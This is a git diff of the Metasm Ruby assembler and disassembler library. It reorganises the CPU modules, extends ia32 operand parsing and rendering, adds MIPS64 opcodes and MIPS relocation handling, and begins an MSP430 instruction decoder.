b/lib/metasm/metasm/cpu/ia32/parse.rb similarity index 80% rename from lib/metasm/metasm/ia32/parse.rb rename to lib/metasm/metasm/cpu/ia32/parse.rb index 9dccfcf554..1d32f5db9e 100644 --- a/lib/metasm/metasm/ia32/parse.rb +++ b/lib/metasm/metasm/cpu/ia32/parse.rb @@ -4,8 +4,8 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' -require 'metasm/ia32/encode' +require 'metasm/cpu/ia32/opcodes' +require 'metasm/cpu/ia32/encode' require 'metasm/parse' module Metasm @@ -99,14 +99,18 @@ class ModRM else b = o end + when SimdReg + raise otok, 'mrm: too many regs' if i + i = o + s = 1 when Expression - if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg) + if o.op == :* and (o.rexpr.kind_of?(Reg) or o.lexpr.kind_of?(Reg)) # scaled index raise otok, 'mrm: too many indexes' if i s = o.lexpr i = o.rexpr s, i = i, s if s.kind_of? Reg - raise otok, 'mrm: bad scale' unless s.kind_of? Integer + raise otok, "mrm: bad scale #{s}" unless [1, 2, 4, 8].include?(s) elsif o.op == :+ # recurse walker[o.lexpr] @@ -125,7 +129,9 @@ class ModRM walker[regify[content.reduce]] # ensure found immediate is really an immediate - raise otok, 'mrm: reg in imm' if imm.kind_of? Expression and not imm.externals.grep(Reg).empty? + raise otok, 'mrm: reg in imm' if imm.kind_of?(Expression) and not imm.externals.grep(Reg).empty? + + raise otok, 'mrm: bad reg size' if b.kind_of?(Reg) and i.kind_of?(Reg) and b.sz != i.sz # find default address size adsz = b ? b.sz : i ? i.sz : nil @@ -153,7 +159,6 @@ end end def parse_prefix(i, pfx) - # XXX check for redefinition ? # implicit 'true' return value when assignment occur i.prefix ||= {} case pfx @@ -163,11 +168,14 @@ end when 'repne', 'repnz'; i.prefix[:rep] = 'repnz' when 'code16'; i.prefix[:sz] = 16 when 'code32'; i.prefix[:sz] = 32 + when 'hintjmp', 'ht'; i.prefix[:jmphint] = 'hintjmp' + when 'hintnojmp', 'hnt';i.prefix[:jmphint] = 'hintnojmp' + when /^seg_([c-g]s)$/; i.prefix[:seg] = SegReg.new(SegReg.s_to_i[$1]) end end def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg] + [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] end def parse_modrm(lex, tok, cpu) ModRM.parse(lex, tok, cpu) @@ -230,17 +238,30 @@ end # check if the argument matches the opcode's argument spec def parse_arg_valid?(o, spec, arg) if o.name == 'movsx' or o.name == 'movzx' - if not arg.kind_of? Reg and not arg.kind_of? ModRM - return + if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) + return elsif not arg.sz puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE return elsif spec == :reg # reg=dst, modrm=src (smaller) - return (arg.kind_of? Reg and arg.sz >= 16) + return (arg.kind_of?(Reg) and arg.sz >= 16) elsif o.props[:argsz] return arg.sz == o.props[:argsz] else - return arg.sz <= 16 + return arg.sz == 16 + end + elsif o.name == 'crc32' + if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) + return + elsif not arg.sz + puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE + return + elsif spec == :reg + return (arg.kind_of?(Reg) and arg.sz >= 32) + elsif o.props[:argsz] + return arg.sz == o.props[:argsz] + else + return arg.sz >= 16 end end @@ -254,7 +275,7 @@ end cond and case spec when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz]) - when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) + when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? Reg) when :i; arg.kind_of? Expression when :imm_val1; arg.kind_of? Expression and arg.reduce == 1 when :imm_val3; arg.kind_of? Expression and arg.reduce == 3 @@ -267,15 +288,22 @@ end when :seg2A; arg.kind_of? SegReg and arg.val < 4 and arg.val != 1 when :eeec; arg.kind_of? CtrlReg when :eeed; arg.kind_of? DbgReg - when :modrmA; arg.kind_of? ModRM + when :eeet; arg.kind_of? TstReg when :mrm_imm; arg.kind_of? ModRM and not arg.s and not arg.i and not arg.b when :farptr; arg.kind_of? Farptr when :regfp; arg.kind_of? FpReg when :regfp0; arg.kind_of? FpReg and (arg.val == nil or arg.val == 0) - when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) + when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) when :regmmx; arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])) - when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) + when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) when :regxmm; arg.kind_of? SimdReg and arg.sz == 128 + when :modrmymm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 256) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) + when :regymm; arg.kind_of? SimdReg and arg.sz == 256 + + when :vexvreg; arg.kind_of? Reg and arg.sz == @size + when :vexvxmm, :i4xmm; arg.kind_of? SimdReg and arg.sz == 128 + when :vexvymm, :i4ymm; arg.kind_of? SimdReg and arg.sz == 256 + when :i8, :u8, :u16 arg.kind_of? Expression and (o.props[:setip] or Expression.in_range?(arg, spec) != false) # true or nil allowed @@ -302,8 +330,8 @@ end else if r = i.args.grep(Reg).first m.sz = r.sz - elsif opcode_list_byname[i.opname].all? { |o| o.props[:argsz] } - m.sz = opcode_list_byname[i.opname].first.props[:argsz] + elsif l = opcode_list_byname[i.opname].map { |o| o.props[:argsz] }.uniq and l.length == 1 and l.first + m.sz = l.first else # this is also the size of ctrlreg/dbgreg etc # XXX fpu/simd ? @@ -320,6 +348,10 @@ end end end + def check_reserved_name(name) + Reg.s_to_i[name] + end + def instr_uncond_jump_to(target) parse_instruction("jmp #{target}") end diff --git a/lib/metasm/metasm/ia32/render.rb b/lib/metasm/metasm/cpu/ia32/render.rb similarity index 73% rename from lib/metasm/metasm/ia32/render.rb rename to lib/metasm/metasm/cpu/ia32/render.rb index d0c7cc7c93..2223819fdf 100644 --- a/lib/metasm/metasm/ia32/render.rb +++ b/lib/metasm/metasm/cpu/ia32/render.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' +require 'metasm/cpu/ia32/opcodes' require 'metasm/render' # XXX move context in another file ? @@ -14,7 +14,7 @@ class Ia32 include Renderable end - [SegReg, DbgReg, CtrlReg, FpReg].each { |c| c.class_eval { + [SegReg, DbgReg, TstReg, CtrlReg, FpReg].each { |c| c.class_eval { def render ; [self.class.i_to_s[@val]] end } } [Reg, SimdReg].each { |c| c.class_eval { @@ -60,12 +60,18 @@ class Ia32 def render_instruction(i) r = [] - r << 'lock ' if i.prefix and i.prefix[:lock] - r << i.prefix[:rep] << ' ' if i.prefix and i.prefix[:rep] + if pfx = i.prefix + r << 'lock ' if pfx[:lock] + r << pfx[:rep] << ' ' if pfx[:rep] + r << pfx[:jmphint] << ' ' if pfx[:jmphint] + r << 'seg_' << pfx[:seg] << ' ' if pfx[:seg] + end r << i.opname + sep = ' ' i.args.each { |a| a.instruction = i if a.kind_of? ModRM - r << (r.last == i.opname ? ' ' : ', ') << a + r << sep << a + sep = ', ' } r end @@ -87,5 +93,26 @@ class Ia32 h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] } h end + + def gui_hilight_word_regexp_init + ret = {} + + %w[a b c d].each { |r| + ret["#{r}l"] = "e?#{r}x|#{r}l" + ret["#{r}h"] = "e?#{r}x|#{r}h" + ret["#{r}x"] = ret["e#{r}x"] = "e?#{r}x|#{r}[hl]" + } + + %w[sp bp si di].each { |r| + ret[r] = ret["e#{r}"] = "e?#{r}" + } + + ret + end + + def gui_hilight_word_regexp(word) + @gui_hilight_word_hash ||= gui_hilight_word_regexp_init + @gui_hilight_word_hash[word] or super(word) + end end end diff --git a/lib/metasm/metasm/cpu/mips.rb b/lib/metasm/metasm/cpu/mips.rb new file mode 100644 index 0000000000..52c3005e24 --- /dev/null +++ b/lib/metasm/metasm/cpu/mips.rb @@ -0,0 +1,14 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +class Metasm::MIPS < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/mips/parse' +require 'metasm/cpu/mips/encode' +require 'metasm/cpu/mips/decode' +require 'metasm/cpu/mips/render' +require 'metasm/cpu/mips/debug' diff --git a/lib/metasm/metasm/mips/compile_c.rb b/lib/metasm/metasm/cpu/mips/compile_c.rb similarity index 86% rename from lib/metasm/metasm/mips/compile_c.rb rename to lib/metasm/metasm/cpu/mips/compile_c.rb index 15a53ccbde..a92e397ecc 100644 --- a/lib/metasm/metasm/mips/compile_c.rb +++ b/lib/metasm/metasm/cpu/mips/compile_c.rb @@ -3,5 +3,5 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/parse' +require 'metasm/cpu/mips/parse' require 'metasm/compile_c' diff --git a/lib/metasm/metasm/cpu/mips/debug.rb b/lib/metasm/metasm/cpu/mips/debug.rb new file mode 100644 index 0000000000..05e39c0b02 --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/debug.rb @@ -0,0 +1,42 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class MIPS + def dbg_register_pc + @dbg_register_pc ||= :pc + end + def dbg_register_flags + @dbg_register_flags ||= :flags + end + + def dbg_register_list + @dbg_register_list ||= %w[z0 at v0 v1 a0 a1 a2 a3 + t0 t1 t2 t3 t4 t5 t6 t7 + s0 s1 s2 s3 s4 s5 s6 s7 + t8 t9 k0 k1 gp sp fp ra + sr mullo mulhi badva cause pc].map { |r| r.to_sym } + end + + def dbg_flag_list + @dbg_flag_list ||= [] + end + + def dbg_register_size + @dbg_register_size ||= Hash.new(@size) + end + + def dbg_need_stepover(dbg, addr, di) + di and di.opcode.props[:saveip] + end + + def dbg_end_stepout(dbg, addr, di) + di and di.opcode.name == 'foobar' # TODO + end +end +end diff --git a/lib/metasm/metasm/mips/decode.rb b/lib/metasm/metasm/cpu/mips/decode.rb similarity index 81% rename from lib/metasm/metasm/mips/decode.rb rename to lib/metasm/metasm/cpu/mips/decode.rb index ca5de98205..6b61555bbb 100644 --- a/lib/metasm/metasm/mips/decode.rb +++ b/lib/metasm/metasm/cpu/mips/decode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/opcodes' +require 'metasm/cpu/mips/opcodes' require 'metasm/decode' module Metasm @@ -35,28 +35,45 @@ class MIPS end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - # TODO handle relocations !! di = DecodedInstruction.new(self) val = edata.decode_imm(:u32, @endianness) edata.ptr -= 4 - di if di.opcode = @bin_lookaside[val >> 24].find { |op| - (op.bin & op.bin_mask) == (val & op.bin_mask) - } + if val.kind_of?(Expression) + # relocations + hval = Expression[val, :&, 0xff000000].reduce + if hval.kind_of?(Expression) + # reloc_i26 + if hval.kind_of?(Expression) and pat = hval.match(Expression[['a', :&, 0x300_0000], :|, 'b'], 'a', 'b') + hval = pat['b'] + end + end + di if di.opcode = @bin_lookaside[hval >> 24].find { |op| + (op.bin & op.bin_mask) == Expression[val, :&, op.bin_mask].reduce + } + else + di if di.opcode = @bin_lookaside[val >> 24].find { |op| + (op.bin & op.bin_mask) == (val & op.bin_mask) + } + end end def decode_instr_op(edata, di) - # TODO handle relocations !! before_ptr = edata.ptr op = di.opcode di.instruction.opname = op.name val = edata.decode_imm(:u32, @endianness) field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - # XXX do that cleanly (Expr.decode_imm) + if val.kind_of?(Expression) + r = Expression[[val, :>>, @fields_shift[f]], :&, @fields_mask[f]].reduce + else + r = (val >> @fields_shift[f]) & @fields_mask[f] + end + + next r if r.kind_of?(Expression) case f - when :sa, :i16, :it; r = Expression.make_signed(r, 16) + when :msbd; r += 1 + when :i16; r = Expression.make_signed(r, 16) when :i20; r = Expression.make_signed(r, 20) when :i26; r = Expression.make_signed(r, 26) else r @@ -66,15 +83,23 @@ class MIPS op.args.each { |a| di.instruction.args << case a when :rs, :rt, :rd; Reg.new field_val[a] - when :sa, :i16, :i20, :i26, :it; Expression[field_val[a]] - when :rs_i16; Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]] + when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb; Expression[field_val[a]] + when :rs_i16 + len = 32 + len = 64 if op.props[:m64] + len = 16 if op.props[:mi16] or op.props[:mu16] + len = 8 if op.props[:mi8 ] or op.props[:mu8] + Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]], len when :ft; FpReg.new field_val[a] - when :idm1, :idb; Expression['unsupported'] + when :idm1; Expression['unsupported'] else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" end } + di.bin_length += edata.ptr - before_ptr + return false if edata.ptr > edata.length + di end @@ -86,7 +111,13 @@ class MIPS if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t delta = Expression[di.instruction.args.last, :<<, 2].reduce if di.opcode.args.include? :i26 - arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce + # absolute jump in the 0x3ff_ffff region surrounding next_pc + if delta.kind_of? Expression and delta.op == :& and delta.rexpr == 0x3ff_fffc + # relocated arg: assume the linker mapped so that instr&target are in the same region + arg = Expression[delta.lexpr].reduce + else + arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce + end else arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce end @@ -112,7 +143,7 @@ class MIPS { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } } when 'nop', 'j', 'jr', /^b/; lambda { |di, *a| {} } - when 'lui'; lambda { |di, a0, a1| { a0 => Expression[a1, :<<, 16] } } + when 'lui'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xffff], :<<, 16] } } when 'add', 'addu', 'addi', 'addiu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :+, a2] } } # XXX addiu $sp, -40h should be addiu $sp, 0xffc0 from the books, but.. when 'sub', 'subu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :-, a2] } } when 'slt', 'slti'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } diff --git a/lib/metasm/metasm/mips/encode.rb b/lib/metasm/metasm/cpu/mips/encode.rb similarity index 86% rename from lib/metasm/metasm/mips/encode.rb rename to lib/metasm/metasm/cpu/mips/encode.rb index 7025bc5cb8..23df0694ff 100644 --- a/lib/metasm/metasm/mips/encode.rb +++ b/lib/metasm/metasm/cpu/mips/encode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/opcodes' +require 'metasm/cpu/mips/opcodes' require 'metasm/encode' module Metasm @@ -40,12 +40,13 @@ class MIPS when :rs_i16 set_field[:rs, arg.base.i] val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] - when :sa, :i16, :i20, :i26 + when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] + val = Expression[val, :-, 1] if sym == :msbd end } - Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata + Expression[base, :|, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata end end end diff --git a/lib/metasm/metasm/mips/main.rb b/lib/metasm/metasm/cpu/mips/main.rb similarity index 83% rename from lib/metasm/metasm/mips/main.rb rename to lib/metasm/metasm/cpu/mips/main.rb index 1f04ed8d4a..f1dc5311cc 100644 --- a/lib/metasm/metasm/mips/main.rb +++ b/lib/metasm/metasm/cpu/mips/main.rb @@ -43,16 +43,16 @@ class MIPS < CPU end class Memref - attr_accessor :base, :offset - def initialize(base, offset) - @base, @offset = base, offset + attr_accessor :base, :offset, :sz + def initialize(base, offset, sz=32) + @base, @offset, @sz = base, offset, sz end def symbolic(orig) p = nil p = Expression[p, :+, @base.symbolic] if base p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, 4, orig] + Indirection[p.reduce, @sz/8, orig] end end @@ -68,5 +68,12 @@ class MIPS < CPU @opcode_list end end + +class MIPS64 < MIPS + def initialize(endianness = :big, family = :latest) + super(endianness, family) + @size = 64 + end +end end diff --git a/lib/metasm/metasm/mips/opcodes.rb b/lib/metasm/metasm/cpu/mips/opcodes.rb similarity index 83% rename from lib/metasm/metasm/mips/opcodes.rb rename to lib/metasm/metasm/cpu/mips/opcodes.rb index 4b0015ea7f..a447304425 100644 --- a/lib/metasm/metasm/mips/opcodes.rb +++ b/lib/metasm/metasm/cpu/mips/opcodes.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/main' +require 'metasm/cpu/mips/main' # TODO coprocessors, floating point, 64bits, thumb mode @@ -13,8 +13,10 @@ module Metasm class MIPS def addop(name, bin, *args) o = Opcode.new name, bin - o.args.concat(args & @fields_mask.keys) - (args & @valid_props).each { |p| o.props[p] = true } + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + } @opcode_list << o end @@ -45,10 +47,11 @@ class MIPS @opcode_list = [] @fields_mask.update :rs => 0x1f, :rt => 0x1f, :rd => 0x1f, :sa => 0x1f, :i16 => 0xffff, :i26 => 0x3ffffff, :rs_i16 => 0x3e0ffff, :it => 0x1f, - :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff #, :i32 => 0 + :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff @fields_shift.update :rs => 21, :rt => 16, :rd => 11, :sa => 6, :i16 => 0, :i26 => 0, :rs_i16 => 0, :it => 16, - :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 #, :i32 => 0 + :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 + @valid_props.update :mi8 => true, :mu8 => true, :mi16 => true, :mu16 => true init_mips32_obsolete init_mips32_reserved @@ -58,12 +61,11 @@ class MIPS addop 'mov', 0b001000 << 26, :rt, :rs # rt <- rs+0 addop 'addi', 0b001000 << 26, :rt, :rs, :i16 # add rt <- rs+i - addop 'li', 0b001001 << 26, :rt, :i16 # add $0 # XXX liu ? + addop 'li', 0b001001 << 26, :rt, :i16 # addiu rt <- zero+i addop 'addiu',0b001001 << 26, :rt, :rs, :i16 # add unsigned addop 'slti', 0b001010 << 26, :rt, :rs, :i16 # set on less than addop 'sltiu',0b001011 << 26, :rt, :rs, :i16 # set on less than unsigned addop 'andi', 0b001100 << 26, :rt, :rs, :i16 # and - addop 'li', 0b001101 << 26, :rt, :i16 # or $0 addop 'ori', 0b001101 << 26, :rt, :rs, :i16 # or addop 'xori', 0b001110 << 26, :rt, :rs, :i16 # xor addop 'lui', 0b001111 << 26, :rt, :i16 # load upper @@ -80,16 +82,16 @@ class MIPS addop 'blez', 0b000110 << 26, :rs, :i16, :setip # <= 0 addop 'bgtz', 0b000111 << 26, :rs, :i16, :setip # > 0 - addop 'lb', 0b100000 << 26, :rt, :rs_i16 # load byte rs <- [rt+i] - addop 'lh', 0b100001 << 26, :rt, :rs_i16 # load halfword + addop 'lb', 0b100000 << 26, :rt, :rs_i16, :mi8 # load byte rs <- [rt+i] + addop 'lh', 0b100001 << 26, :rt, :rs_i16, :mi16 # load halfword addop 'lwl', 0b100010 << 26, :rt, :rs_i16 # load word left addop 'lw', 0b100011 << 26, :rt, :rs_i16 # load word - addop 'lbu', 0b100100 << 26, :rt, :rs_i16 # load byte unsigned - addop 'lhu', 0b100101 << 26, :rt, :rs_i16 # load halfword unsigned + addop 'lbu', 0b100100 << 26, :rt, :rs_i16, :mu8 # load byte unsigned + addop 'lhu', 0b100101 << 26, :rt, :rs_i16, :mu16 # load halfword unsigned addop 'lwr', 0b100110 << 26, :rt, :rs_i16 # load word right - addop 'sb', 0b101000 << 26, :rt, :rs_i16 # store byte - addop 'sh', 0b101001 << 26, :rt, :rs_i16 # store halfword + addop 'sb', 0b101000 << 26, :rt, :rs_i16, :mi8 # store byte + addop 'sh', 0b101001 << 26, :rt, :rs_i16, :mi16 # store halfword addop 'swl', 0b101010 << 26, :rt, :rs_i16 # store word left addop 'sw', 0b101011 << 26, :rt, :rs_i16 # store word addop 'swr', 0b101110 << 26, :rt, :rs_i16 # store word right @@ -195,10 +197,10 @@ class MIPS # cp0 - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :rd - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :rd, :sel - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :rd - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :rd, :sel + addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb + addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb, :sel + addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb + addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb, :sel addop 'tlbr', (0b010000<<26) | (1<<25) | 0b000001 addop 'tlbwi',(0b010000<<26) | (1<<25) | 0b000010 @@ -235,6 +237,73 @@ class MIPS end alias init_latest init_mips32r2 end + +class MIPS64 + def init_mips64 + init_mips32r2 + @valid_props.update :mi64 => true + + addop 'ld', 0b110111 << 26, :rt, :rs_i16, :m64 + addop 'lwu', 0b100111 << 26, :rt, :rs_i16 + addop 'sd', 0b111111 << 26, :rt, :rs_i16, :m64 + addop 'scd', 0b111100 << 26, :rt, :rs_i16, :m64 + addop 'ldl', 0b011010 << 26, :rt, :rs_i16 + addop 'ldr', 0b011011 << 26, :rt, :rs_i16 + addop 'sdl', 0b101100 << 26, :rt, :rs_i16 + addop 'sdr', 0b101101 << 26, :rt, :rs_i16 + addop 'lld', 0b110100 << 26, :rt, :rs_i16 + addop 'daddi', 0b011000 << 26, :rt, :rs, :i16 + addop 'daddiu', 0b011001 << 26, :rt, :rs, :i16 + + addop 'dclo', (0b011100 << 26) | (0b100101), :rd, :rt, :rs + addop 'dclz', (0b011100 << 26) | (0b100100), :rd, :rt, :rs + + addop 'dadd', 0b101100, :rd, :rs, :rt + addop 'daddu', 0b101101, :rd, :rs, :rt + addop 'dsub', 0b101110, :rd, :rs, :rt + addop 'dsubu', 0b101111, :rd, :rs, :rt + addop 'dsll', 0b111000, :rd, :rt, :sa + addop 'dsll32', 0b111100, :rd, :rt, :sa + addop 'dsllv', 0b010100, :rd, :rt, :rs + addop 'dsra', 0b111011, :rd, :rt, :sa + addop 'dsra32', 0b111111, :rd, :rt, :sa + addop 'dsrav', 0b010111, :rd, :rt, :rs + addop 'dsrl', 0b111010, :rd, :rt, :sa + addop 'dsrl32', 0b111110, :rd, :rt, :sa + addop 'dsrlv', 0b010110, :rd, :rt, :rs + addop 'ddiv', 0b011110, :rs, :rt + addop 'ddivu', 0b011111, :rs, :rt + addop 'dmult', 0b011100, :rs, :rt + addop 'dmultu', 0b011101, :rs, :rt + + addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb + addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb, :sel + addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb + addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb, :sel + end + + def init_mips64r2 + init_mips64 + @fields_mask.update :msbd => 0x1f + @fields_shift.update :msbd => 11 + + addop 'dext', (0b011111 << 26) | 0b000011, :rt, :rs, :sa, :msbd # sa => lsb + addop 'dextm', (0b011111 << 26) | 0b000001, :rt, :rs, :sa, :msbd + addop 'dextu', (0b011111 << 26) | 0b000010, :rt, :rs, :sa, :msbd + addop 'dins', (0b011111 << 26) | 0b000111, :rt, :rs, :sa, :msbd + addop 'dinsm', (0b011111 << 26) | 0b000101, :rt, :rs, :sa, :msbd + addop 'dinsu', (0b011111 << 26) | 0b000110, :rt, :rs, :sa, :msbd + + addop 'drotr', (1 << 21) | 0b111010, :rd, :rt, :sa + addop 'drotr32', (1 << 21) | 0b111110, :rd, :rt, :sa + addop 'drotrv', (1 << 6) | 0b010110, :rd, :rt, :rs + + addop 'dsbh', (0b011111 << 26) | (0b00010 << 6) | 0b100100, :rd, :rt + addop 'dshd', (0b011111 << 26) | (0b00101 << 6) | 0b100100, :rd, :rt + end + + alias init_latest init_mips64r2 +end end __END__ def macro_addop_cop1(name, bin, *aprops) diff --git a/lib/metasm/metasm/mips/parse.rb b/lib/metasm/metasm/cpu/mips/parse.rb similarity index 98% rename from lib/metasm/metasm/mips/parse.rb rename to lib/metasm/metasm/cpu/mips/parse.rb index 239c93b7d9..e7daeac27b 100644 --- a/lib/metasm/metasm/mips/parse.rb +++ b/lib/metasm/metasm/cpu/mips/parse.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/opcodes' +require 'metasm/cpu/mips/opcodes' require 'metasm/parse' module Metasm diff --git a/lib/metasm/metasm/mips/render.rb b/lib/metasm/metasm/cpu/mips/render.rb similarity index 96% rename from lib/metasm/metasm/mips/render.rb rename to lib/metasm/metasm/cpu/mips/render.rb index eb37ddc5f2..31ad15a331 100644 --- a/lib/metasm/metasm/mips/render.rb +++ b/lib/metasm/metasm/cpu/mips/render.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/opcodes' +require 'metasm/cpu/mips/opcodes' require 'metasm/render' module Metasm diff --git a/lib/metasm/metasm/dalvik.rb b/lib/metasm/metasm/cpu/msp430.rb similarity index 85% rename from lib/metasm/metasm/dalvik.rb rename to lib/metasm/metasm/cpu/msp430.rb index 4efa34fc07..78e89bcd8d 100644 --- a/lib/metasm/metasm/dalvik.rb +++ b/lib/metasm/metasm/cpu/msp430.rb @@ -5,4 +5,4 @@ require 'metasm/main' -require 'metasm/dalvik/decode' +require 'metasm/cpu/msp430/decode' diff --git a/lib/metasm/metasm/cpu/msp430/decode.rb b/lib/metasm/metasm/cpu/msp430/decode.rb new file mode 100644 index 0000000000..2eb694243d --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/decode.rb @@ -0,0 +1,247 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/msp430/opcodes' +require 'metasm/decode' + +module Metasm +class MSP430 + def build_opcode_bin_mask(op) + op.bin_mask = 0 + op.fields.each_key { |f| + op.bin_mask |= @fields_mask[f] << @fields_shift[f] + } + op.bin_mask ^= 0xffff + end + + def build_bin_lookaside + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = (op.bin >> 8) & 255 + msk = (op.bin_mask >> 8) & 255 + + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + val = edata.decode_imm(:u16, @endianness) + edata.ptr -= 2 + di.opcode = @bin_lookaside[(val >> 8) & 0xff].find { |opcode| (val & opcode.bin_mask) == opcode.bin } + di if di.opcode + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + val = edata.decode_imm(:u16, @endianness) + + field_val = lambda{ |f| + (val >> @fields_shift[f]) & @fields_mask[f] + } + + # must decode rs first + vals = {} + ([:rs, :rd, :r_pc] & op.args).each { |a| + mod = { :rs => :as, :rd => :ad, :r_pc => :ad }[a] + mod = :as if mod == :ad and not op.fields[mod] # addop_macro1 -> rs + ad + + if a == :r_pc + r = Reg.new(0) + else + r = Reg.new(field_val[a]) + end + + w = op.props[:byte] ? 1 : 2 + + case field_val[mod] + when 0 + if r.i == 3 and a == :rs + vals[a] = Expression[0] + else + vals[a] = r + end + when 1 + if r.i == 3 and a == :rs + vals[a] = Expression[1] + else + imm = edata.decode_imm(:u16, @endianness) + r = nil if r.i == 2 # [imm] + vals[a] = Memref.new(r, imm, w) + end + when 2 + if r.i == 3 + vals[a] = Expression[2] + elsif r.i == 2 + vals[a] = Expression[4] + else + vals[a] = Memref.new(r, 0, w) + end + when 3 + if r.i == 3 + vals[a] = Expression[-1] + elsif r.i == 2 + vals[a] = Expression[8] + elsif r.i == 0 # pc++ + # XXX order wrt other edata.decode_imm ? + vals[a] = Expression[edata.decode_imm(:u16, @endianness)] + else + vals[a] = Memref.new(r, 0, w, true) + end + end + } + + op.args.each { |a| + di.instruction.args << case a + when :joff; Expression[2 * Expression.make_signed(field_val[a], 10)] + when :rs, :rd, :r_pc; vals[a] + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + 